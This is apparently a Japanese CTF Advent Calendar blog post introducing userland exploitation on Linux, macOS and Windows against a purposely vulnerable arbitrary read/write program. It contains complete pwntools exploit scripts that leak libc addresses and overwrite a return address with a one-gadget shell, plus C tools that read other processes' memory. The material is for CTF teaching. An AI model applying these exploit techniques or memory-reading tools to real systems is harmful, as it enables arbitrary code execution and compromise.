WTF!?

オンサイトCTFのWriteupとか書いてく.

各種OSのUserlandにおけるPwn入門

これは CTF Advent Calendar 2018 - Adventar の9日目の記事です .8日目は、@hamaプロの「最近のCTFで出題されるglibc heap問で個人的によく使うテクニックについて」でした.

はじめに

CTFにおけるPwnではLinuxの問題が出題されることが多いが,一部のCTFではWindowsのPwn問題が出てきており他のOSに対しても今後出題されると予想される. そこで各種OSにおいて,AAR/AAWが可能な場合にどうやってshellを立ち上げるかを紹介する.

Target program

今回のターゲットのプログラムを以下に示す.

#include <stdio.h>
#include <stdint.h>
#ifdef __GNUC__
#include <unistd.h>
#endif

const uint8_t ADDR_STR[] = "addr : ";
const uint8_t COUNT_STR[] = "count : ";

int main() {
    uint8_t choice;
    uint64_t addr;
    size_t count;
    
    while(1){
        scanf("%c", &choice);
        if (choice == '0'){
            write(1, ADDR_STR, sizeof ADDR_STR - 1);
            scanf("%ld", &addr);
            write(1, COUNT_STR, sizeof COUNT_STR - 1);
            scanf("%zd", &count);
            read(0, (void *)addr, count);
        } else if (choice == '1') {
            write(1, ADDR_STR, sizeof ADDR_STR - 1);
            scanf("%ld", &addr);
            write(1, COUNT_STR, sizeof COUNT_STR - 1);
            scanf("%zd", &count);
            write(1, (void *)addr, count);
        } else if (choice == '2') {
            return 0;
        }
    }
}

Linux

環境

  • Ubuntu 18.04
  • x86_64
  • mitigation
    • Full RELRO
    • NX enabled
    • PIE disabled
$ gcc -no-pie ./problem.c -o ./problem

解法

単純なLinuxのpwnなのでstackを書き換えてone gadget rceを目指す.

PIEがdisabledなので,gotからscanfのaddressをleakすることで,libcのbaseを特定する.

libcにおけるscanfのoffsetは,

$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep -E "__isoc99_scanf"
000000000007bec0 T __isoc99_scanf

より,0x7bec0で,scanfのgotのアドレスは,

$ readelf -r ./problem | grep "scanf"
000000601030  000600000007 R_X86_64_JUMP_SLO 0000000000000000 __isoc99_scanf@GLIBC_2.7 + 0

より,0x601030である.

次に,one gadget rceのアドレスと条件を特定する.これにはdavid942j氏が公開しているone_gadgetというツールを用いた.

$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

stackのreturn addressを書き換えるためには,libcからstackのアドレスを特定する必要がある.

そこで今回はlibcのenvironからstackのアドレスをリークし,return addressの場所を特定することとした.

$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep environ
00000000003ee098 B __environ
00000000003ee098 V _environ
00000000003ee098 V environ

gdbでプログラムを動かし,environからリークしたアドレスとreturn addressの保存場所の差を計算する.

$ gdb -q ./problem
Reading symbols from ./problem...(no debugging symbols found)...done.
gdb-peda$ start
gdb-peda$ p environ
$1 = (char **) 0x7fffffffe538
gdb-peda$ telescope 50
0000| 0x7fffffffe440 --> 0x400770 (<__libc_csu_init>:  push   r15)
0008| 0x7fffffffe448 --> 0x7ffff7a05b97 (<__libc_start_main+231>:  mov    edi,eax)
0016| 0x7fffffffe450 --> 0x1

=========== snip ============

0240| 0x7fffffffe530 --> 0x0
0248| 0x7fffffffe538 --> 0x7fffffffe784 ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
0256| 0x7fffffffe540 --> 0x7fffffffed70 ("SSH_CONNECTION=10.0.2.2 57980 10.0.2.15 22")
0264| 0x7fffffffe548 --> 0x7fffffffed9b ("LESSCLOSE=/usr/bin/lesspipe %s %s")
0272| 0x7fffffffe550 --> 0x7fffffffedbd ("_=/usr/bin/gdb")

=========== snip ============

よって,environ (0x7fffffffe538) - ptr_return_address (0x7fffffffe448) == 0xf0 となり,

libcからリークしたenviron - 0xf0を書き換えることでripを奪取できることがわかった.

最終的なexploitを以下に示す.

from pwn import *

# context(arch = "i386", os = "linux")
context(arch = "amd64", os = "linux")

context.log_level = 'debug'
# context.log_level = 'critical'

one_gadget_offset = 0x4f2c5
scanf_offset = 0x7bec0

scanf_got_addr = 0x601030
environ_offset = 0x3ee098

def write(addr, data):
    p.sendline('0')
    p.recvuntil('addr : ')
    p.sendline('{0:d}'.format(addr))
    p.recvuntil('count : ')
    p.sendline('{0:d}'.format(len(data)))
    p.send(data)

def read(addr, count):
    p.sendline('1')
    p.recvuntil('addr : ')
    p.sendline('{0:d}'.format(addr))
    p.recvuntil('count : ')
    p.sendline('{0:d}'.format(count))
    return p.recvn(count)

def finish():
    p.sendline('2')

# p = process("./problem")
p = remote("localhost", 12345)

scanf_got_buf = read(scanf_got_addr, 8)
scanf_addr = u64(scanf_got_buf)
libc_base_addr = scanf_addr - scanf_offset
one_gadget_addr = libc_base_addr + one_gadget_offset

libc_environ_addr = libc_base_addr + environ_offset

return_ptr_addr = u64(read(libc_environ_addr, 8)) - 0xf0
write(return_ptr_addr, p64(one_gadget_addr))

finish()

p.interactive()

p.close()

macOS

環境

  • macOS Mojave
  • x86_64
  • mitigation
    • NX enabled
    • PIE disabled
$ gcc ../problem.c -o ./problem -Wl,-no_pie

解法

Linuxと同様にsackを書き換えてone gadget rceでのshell起動を目指す.

まず,macOSにもone gadget rceが存在するのか調査した.

macOSにおいて,system, execve系の関数の実体が存在するのは,/usr/bin/nm /usr/lib/system/libsystem_c.dylibである.

この /usr/bin/nm /usr/lib/system/libsystem_c.dylib をIDAで開いて"/bin/sh"を利用し,execve系のsyscallを発行する場所が無いかxrefを辿ったところ,

以下の処理が見つかった.

__text:0000000000025D94                 lea     rdi, aBinSh     ; "/bin/sh"
__text:0000000000025D9B                 mov     rsi, r14        ; char **
__text:0000000000025D9E                 mov     rdx, [rbp+var_450] ; char **
__text:0000000000025DA5                 call    _execve

これは,r14 == NULL, [rbp - 0x450] == NULLという条件のone gadget rceである.

今回のプログラムのreturn addressを書き換えてexploitが発火するタイミングで条件を満たしているため,これを用いた.

scanfもexecveと同様にlibsystem_c.dylibに存在するため,nmコマンドを用いてoffsetを特定した.

/usr/bin/nm /usr/lib/system/libsystem_c.dylib | grep -E "T _scanf$"
0000000000042013 T _scanf

macOSにおいてgotと同様の働きをしているのは,__la_symbol_ptrである.

ここからscanfのアドレスをリークすることでlibsystem_c.dylib のベースアドレスを特定することが出来る.

$ otool -V -s __TEXT __stubs ./problem
./problem:
Contents of (__TEXT,__stubs) section
0000000100000f5a    jmpq    *0xb0(%rip) ## literal pool symbol address: _read
0000000100000f60    jmpq    *0xb2(%rip) ## literal pool symbol address: _scanf
0000000100000f66    jmpq    *0xb4(%rip) ## literal pool symbol address: _write
$ otool -s __DATA __la_symbol_ptr ./problem
./problem:
Contents of (__DATA,__la_symbol_ptr) section
0000000100001010    7c 0f 00 00 01 00 00 00 86 0f 00 00 01 00 00 00
0000000100001020    90 0f 00 00 01 00 00 00

以上から,scanfのaddressが存在するのは0x100001018である.

Linuxと同様にstackのアドレスがlibsystem_c.dylibの周辺に存在しないか検索するプログラムを書いて調査した.

// search_mem_mac.c
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>

uint64_t search_mem(task_t wow, uint64_t start, uint64_t size, uint64_t min_val, uint64_t max_val) {
    uint64_t buffer_size = 0x10000;
    uint64_t bytes_read = 0;
    uint64_t sz;
    uint8_t buffer[buffer_size];

    while (bytes_read <= size) {
        uint64_t address = start + bytes_read;
        pointer_t buffer_pointer;

        kern_return_t error = vm_read(wow, address, buffer_size, &buffer_pointer, &sz);
        memcpy(buffer, (const void *)buffer_pointer, sz);
        uint64_t buffer_position = 0;
        while (buffer_position <= buffer_size) {
            uint64_t val = *(uint64_t *)&buffer[buffer_position];
            if (min_val <= val && val <= max_val) {
                printf("0x%016llx : 0x%016llx\n", address + buffer_position, val);
            }
            buffer_position += sizeof(uint64_t);
        }
        bytes_read += buffer_size;
    }
    return 0;
}


int main(int argc, char** argv) {
    kern_return_t kern_return;
    mach_port_t task;

    if (argc < 5) {
        printf("usage : %s pid addr size min_val max_val\n", argv[0]);
        return 1;
    }

    uint64_t pid = strtoull(argv[1], NULL, 0);
    uint64_t addr = strtoull(argv[2], NULL, 0);
    uint64_t size = strtoull(argv[3], NULL, 0);
    uint64_t min_val = strtoull(argv[4], NULL, 0);
    uint64_t max_val = strtoull(argv[5], NULL, 0);

    kern_return = task_for_pid(mach_task_self(), pid, &task);
    if (kern_return != KERN_SUCCESS) {
        printf("task_for_pid() failed, error %d - %s", kern_return, mach_error_string(kern_return));
        exit(1);
    }

    unsigned int ptr = search_mem(task, addr, size, min_val, max_val);

    return 0;
}

プログラムの実行時のメモリマップは以下の通りだった.

$ vmmap problem
Process:         problem [2816]

==================== snip ====================

__TEXT                 00007fff7254e000-00007fff725d7000 [  548K   484K     0K     0K] r-x/r-x SM=COW          /usr/lib/system/libsystem_c.dylib

==================== snip ====================

==== Writable regions for process 2816
REGION TYPE                      START - END             [ VSIZE  RSDNT  DIRTY   SWAP] PRT/MAX SHRMOD PURGE    REGION DETAIL
__DATA                 0000000100001000-0000000100002000 [    4K     4K     4K     0K] rw-/rwx SM=COW          /Volumes/sd/-work/adventar/macos/problem
Kernel Alloc Once      0000000100003000-0000000100005000 [    8K     4K     4K     0K] rw-/rwx SM=PRV
MALLOC metadata        0000000100006000-0000000100007000 [    4K     4K     4K     0K] rw-/rwx SM=ZER
MALLOC metadata        0000000100008000-000000010000c000 [   16K    12K    12K     0K] rw-/rwx SM=ZER
MALLOC metadata        000000010000e000-0000000100012000 [   16K    12K    12K     0K] rw-/rwx SM=PRV
__DATA                 00000001001c0000-00000001001c5000 [   20K    20K    20K     0K] rw-/rwx SM=COW          /usr/lib/dyld
__DATA                 00000001001c5000-00000001001f9000 [  208K    32K    32K     0K] rw-/rwx SM=PRV          /usr/lib/dyld
MALLOC_TINY            0000000100300000-0000000100400000 [ 1024K    20K    20K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x100005000
MALLOC_TINY (empty)    0000000100400000-0000000100500000 [ 1024K    12K    12K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x100005000
MALLOC_SMALL           0000000100800000-0000000101800000 [ 16.0M    12K    12K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x100005000
Stack                  00007ffeef400000-00007ffeefc00000 [ 8192K    20K    20K     0K] rw-/rwx SM=PRV          thread 0
__DATA                 00007fffa4ad0000-00007fffa4ad1000 [    4K     4K     0K     0K] rw-/rwx SM=COW          /usr/lib/libSystem.B.dylib

==================== snip ====================

__DATA                 00007fffa532f000-00007fffa5336000 [   28K    28K    12K     0K] rw-/rwx SM=COW          /usr/lib/system/libxpc.dylib

libsystem_c.dylibの周辺のrwな領域において,stackのアドレスを含む場所を検索したところ,4箇所見つかった.

$ gcc search_mem_mac.c -o search_mem_mac
$ sudo ./search_mem_mac `pgrep problem` 0x00007fffa4ad0000 0x866000 0x00007ffeef400000 0x00007ffeefc00000
0x00007fffa5300cf0 : 0x00007ffeefbff888
0x00007fffa5300cf8 : 0x00007ffeefbff898
0x00007fffa5300d00 : 0x00007ffeefbff9da
0x00007fffa5312c38 : 0x00007ffeefbff898

これらがどういった変数なのか調査した.

$ lldb problem
(lldb) target create "problem"
Current executable set to 'problem' (x86_64).
(lldb) b main
Breakpoint 1: where = problem`main, address = 0x0000000100000e00
(lldb) r
(lldb) image lookup -a 0x00007fffa5300cf0
      Address: libdyld.dylib[0x0000000000032cf0] (libdyld.dylib.__DATA.__common + 16)
      Summary: libdyld.dylib`NXArgv
(lldb) image lookup -a 0x00007fffa5300cf8
      Address: libdyld.dylib[0x0000000000032cf8] (libdyld.dylib.__DATA.__common + 24)
      Summary: libdyld.dylib`environ
(lldb) image lookup -a 0x00007fffa5300d00
      Address: libdyld.dylib[0x0000000000032d00] (libdyld.dylib.__DATA.__common + 32)
      Summary: libdyld.dylib`__progname
(lldb) image lookup -a 0x00007fffa5312c38
      Address: libsystem_c.dylib[0x0000000000091c38] (libsystem_c.dylib.__DATA.__common + 96)
      Summary: libsystem_c.dylib`_saved_environ

今回はlibsystem_c.dylib_saved_environを用いた.

_saved_environのオフセットは,

0x00007fffa5312c38 - 0x00007fff7254e000 == 0x32dc4c38

より,0x32dc4c38である.

最終的なexploitを以下に示す.

from pwn import *

# context(arch = "i386", os = "linux")
context(arch = "amd64", os = "linux")

context.log_level = 'debug'
# context.log_level = 'critical'

one_gadget_offset = 0x25D94
scanf_offset = 0x42013

scanf_got_addr = 0x100001018
environ_offset = 0x32dc4c38

def write(addr, data):
    p.sendline('0')
    p.recvuntil('addr : ')
    p.sendline('{0:d}'.format(addr))
    p.recvuntil('count : ')
    p.sendline('{0:d}'.format(len(data)))
    p.send(data)

def read(addr, count):
    p.sendline('1')
    p.recvuntil('addr : ')
    p.sendline('{0:d}'.format(addr))
    p.recvuntil('count : ')
    p.sendline('{0:d}'.format(count))
    return p.recvn(count)

def finish():
    p.sendline('2')

# p = process("./problem")
p = remote("localhost", 12345)

scanf_got_buf = read(scanf_got_addr, 8)
scanf_addr = u64(scanf_got_buf)
libsystemc_base_addr = scanf_addr - scanf_offset
one_gadget_addr = libsystemc_base_addr + one_gadget_offset

libc_environ_addr = libsystemc_base_addr + environ_offset

return_ptr_addr = u64(read(libc_environ_addr, 8)) - 0x30
write(return_ptr_addr, p64(one_gadget_addr))

finish()

p.interactive()

p.close()

Windows

環境

cl.exe .\problem.c /Zi /link /dynamicbase:no

解法

stackを書き換えてropに落とし込むことを目指す.

まず既知のアドレスのメモリにdllのポインタが存在しないか調査した.

検索するプログラムを以下に示す.

// search_mem_win.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <windows.h>

void search_mem(HANDLE process, uint64_t start, uint64_t size, uint64_t min_val, uint64_t max_val) {
    uint64_t buffer_size = 0x1000;
    uint64_t bytes_read = 0;
    uint64_t sz;
    uint8_t* buffer;
    MEMORY_BASIC_INFORMATION mbi;

    while (bytes_read <= size) {
        uint64_t address = start + bytes_read;

        size_t size = VirtualQueryEx(process, (void*)address, &mbi, sizeof(MEMORY_BASIC_INFORMATION));
     
        if (size == 0) {
            break;
        }
        
        if ((mbi.State == MEM_COMMIT) || (mbi.Type == MEM_PRIVATE) || (mbi.Protect == PAGE_READWRITE)) {
            buffer = (uint8_t *)malloc(sizeof(uint8_t) * mbi.RegionSize);
            BOOL res = ReadProcessMemory(process, (void *) address, buffer, mbi.RegionSize, NULL);
            if (res == 0){
                bytes_read += mbi.RegionSize;
                continue;
            }
            uint64_t buffer_position = 0;
            while (buffer_position <= mbi.RegionSize) {
                uint64_t val = *(uint64_t *)&buffer[buffer_position];
                if (min_val <= val && val <= max_val) {
                    printf("0x%016llx : 0x%016llx\n", address + buffer_position, val);
                }
                buffer_position += sizeof(uint64_t);
            }
        }
        bytes_read += mbi.RegionSize;
    }
}


int main(int argc, char** argv) {
    HANDLE process;

    if (argc < 5) {
        printf("usage : %s pid addr size min_val max_val\n", argv[0]);
        return 1;
    }

    uint64_t pid = strtoull(argv[1], NULL, 0);
    uint64_t addr = strtoull(argv[2], NULL, 0);
    uint64_t size = strtoull(argv[3], NULL, 0);
    uint64_t min_val = strtoull(argv[4], NULL, 0);
    uint64_t max_val = strtoull(argv[5], NULL, 0);

    process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD) pid);;
    if (process == NULL) {
        printf("OpenProcess failed");
        exit(1);
    }

    search_mem(process, addr, size, min_val, max_val);

    return 0;
}

プログラムを動作させた状態のメモリマップを以下に示す.

f:id:nanuyokakinu:20181209221131p:plain
program.exeのMemory Maps

> cl.exe search_mem_win.c
> search_mem_win.exe 4000 0x140000000 0x100000 0x7ff4fdea0000 0x7fff00000000
0x0000000140099218 : 0x00007ffe82b70000
0x0000000140099220 : 0x00007ffe82b70000
0x0000000140099f68 : 0x00007ffe82b70000
0x0000000140099f78 : 0x00007ffe82b70000
0x0000000140099f98 : 0x00007ffe82b70000
0x0000000140099fe0 : 0x00007ffe858e0000

これらはmodule_handlesとして用いられている.

.data:0000000140099218 module_handles  dq ?                    ; DATA XREF: try_get_first_available_module+30↑r
.data:0000000140099218                                         ; try_get_first_available_module+C4↑w ...
.data:0000000140099220                 dq ?
.data:0000000140099F60 module_handles_0 dq ?                   ; DATA XREF: try_get_first_available_module_0+30↑r
.data:0000000140099F60                                         ; try_get_first_available_module_0+C4↑w ...
.data:0000000140099F68                 align 100h

よって以下のメモリをリークすることでdllのベースアドレスを特定することが出来る.

0x0000000140099218 : 0x00007ffe82b70000 --- KernelBase.dll
0x0000000140099fe0 : 0x00007ffe858e0000 --- kernel32.dll

次にstackを特定するために,stackのアドレスが存在するheapのベースアドレスを特定する.

heapのアドレスが既知のアドレスのメモリに存在しないか調査した.

> search_mem.exe 4000 0x140000000 0x100000 0x450000 0x45d000
0x0000000140085880 : 0x0000000000450054
0x000000014008a820 : 0x0000000000450050
0x000000014008a930 : 0x0000000000450053
0x000000014008aa00 : 0x0000000000450053
0x0000000140098060 : 0x000000000045b4a0
0x0000000140098068 : 0x000000000045b4a0
0x0000000140098528 : 0x00000000004563a0
0x0000000140099300 : 0x000000000045a490
0x0000000140099e58 : 0x00000000004566e0
0x0000000140099e80 : 0x00000000004566e0
0x0000000140099ec0 : 0x0000000000453320
0x0000000140099ee0 : 0x00000000004535f0
0x0000000140099ef0 : 0x0000000000452602
0x000000014009a180 : 0x0000000000455190
0x000000014009a680 : 0x00000000004563a0
0x000000014009a960 : 0x0000000000450000

__acrt_heapをリークすることでheapのベースアドレスを特定することができた.

.data:000000014009A960 __acrt_heap dq 450000h                  ; DATA XREF: _calloc_base:loc_140057E0E↑r
.data:000000014009A960                                         ; select_heap↑r ...

次にheap baseからstack baseをリークすることを目指す.

heapの中にstackのアドレスを含むものが存在しないか調査した.

> search_mem.exe 4000 0x450000 0xd000 0x14a000 0x150000
0x0000000000457098 : 0x000000000014fd60
0x0000000000457118 : 0x000000000014fde0

ここで,heap baseから固定のオフセットに存在するstackのアドレスが見つからなかった.

heapからstackのアドレスとして可能性のあるものとその周辺のメモリを探索することで特定可能である.

これの他にTIBからstack baseをleakする方法も存在するが,TIBのアドレスはfsレジスタから読み込む以外に取得する方法が存在しないため,今回のtargetでは難しい.

特定したstackを書き換え,ROPに持ち込んでkernel.dllのWinExec関数を呼び出せば任意のプログラムが実行できる.

実際のexploitは時間がないため読者の課題とする.

まとめ

  • macOSはほぼLinuxと同様に解くことが出来る.
  • Windowsは意外とstackのアドレスをリークするのが難しいことが分かった.

時間に余裕があれば他のOSについても解いて記事を更新する所存です.

次回のCTF Advent Calendarは12/12の,@xrekkusuプロによる「WebAssembly解いてみる」です.